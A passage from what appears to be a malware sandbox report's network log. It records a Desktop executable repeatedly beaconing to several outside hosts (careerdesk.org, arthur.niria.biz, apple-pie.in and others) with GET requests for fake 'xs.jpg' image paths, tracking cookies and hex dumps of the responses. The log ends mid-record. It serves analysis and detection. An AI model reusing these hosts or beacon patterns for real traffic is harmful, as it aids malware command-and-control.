                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159229|1720159208|4|5|0
                                                          Jul 5, 2024 08:00:33.851730108 CEST594INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:33 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159233|1720159208|4|6|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          31192.168.2.74974244.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:33.868366003 CEST299OUTGET /xs.jpg?3d3a4b2=128403812 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159230|1720159209|4|5|0
                                                          Jul 5, 2024 08:00:34.372440100 CEST585INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:34 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159234|1720159209|4|6|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          32192.168.2.74974344.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:34.404176950 CEST301OUTGET /images/xs.jpg?3e6e97f=65464703 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159230|1720159210|4|5|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:00:34.927488089 CEST333INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:34 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159234|1720159210|4|6|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          33192.168.2.74974478.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:34.940615892 CEST189OUTGET /xs.jpg?3f3ee61=66317921 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:35.585553885 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:00:35 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          34192.168.2.74974537.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:35.746331930 CEST203OUTGET /images/xs2.jpg?43295c0=563392000 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:36.562469006 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:00:36 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:00:36.583729982 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:00:36.810112000 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:00:36 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:00:36 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          35192.168.2.74974654.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:36.943362951 CEST308OUTGET /images/xs.jpg?47379df=373383515 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159233|1720159208|4|6|0
                                                          Jul 5, 2024 08:00:37.722232103 CEST594INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:37 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159237|1720159208|4|7|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          36192.168.2.74974744.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:37.809562922 CEST299OUTGET /xs.jpg?4fedff7=419061715 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159234|1720159209|4|6|0
                                                          Jul 5, 2024 08:00:38.389604092 CEST585INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:38 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159238|1720159209|4|7|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          37192.168.2.74974844.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:38.413717031 CEST301OUTGET /images/xs.jpg?5648852=90474578 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159234|1720159210|4|6|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:00:38.942989111 CEST333INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:38 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159238|1720159210|4|7|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          38192.168.2.74974978.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:38.997095108 CEST190OUTGET /xs.jpg?5b6c481=287591811 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:39.658286095 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:00:39 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          39192.168.2.74975037.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:39.713480949 CEST203OUTGET /images/xs2.jpg?654fad3=956092779 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:40.526458025 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:00:40 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:00:40.528126955 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:00:40.771905899 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:00:40 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:00:40 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          40192.168.2.74975154.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:40.931334972 CEST308OUTGET /images/xs.jpg?71f7cbe=478016248 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159237|1720159208|4|7|0
                                                          Jul 5, 2024 08:00:41.681221962 CEST594INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:41 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159241|1720159208|4|8|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          41192.168.2.74975244.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:42.205900908 CEST300OUTGET /xs.jpg?7bdce87=1298796870 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159238|1720159209|4|7|0
                                                          Jul 5, 2024 08:00:42.693475962 CEST585INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:42 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159242|1720159209|4|8|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          42192.168.2.74975344.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:42.744667053 CEST303OUTGET /images/xs.jpg?823b9f5=1229031837 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159238|1720159210|4|7|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:00:43.240045071 CEST333INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:43 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159243|1720159210|4|8|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          43192.168.2.74975678.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:43.250922918 CEST190OUTGET /xs.jpg?87676bf=993869625 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:43.910943985 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:00:43 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
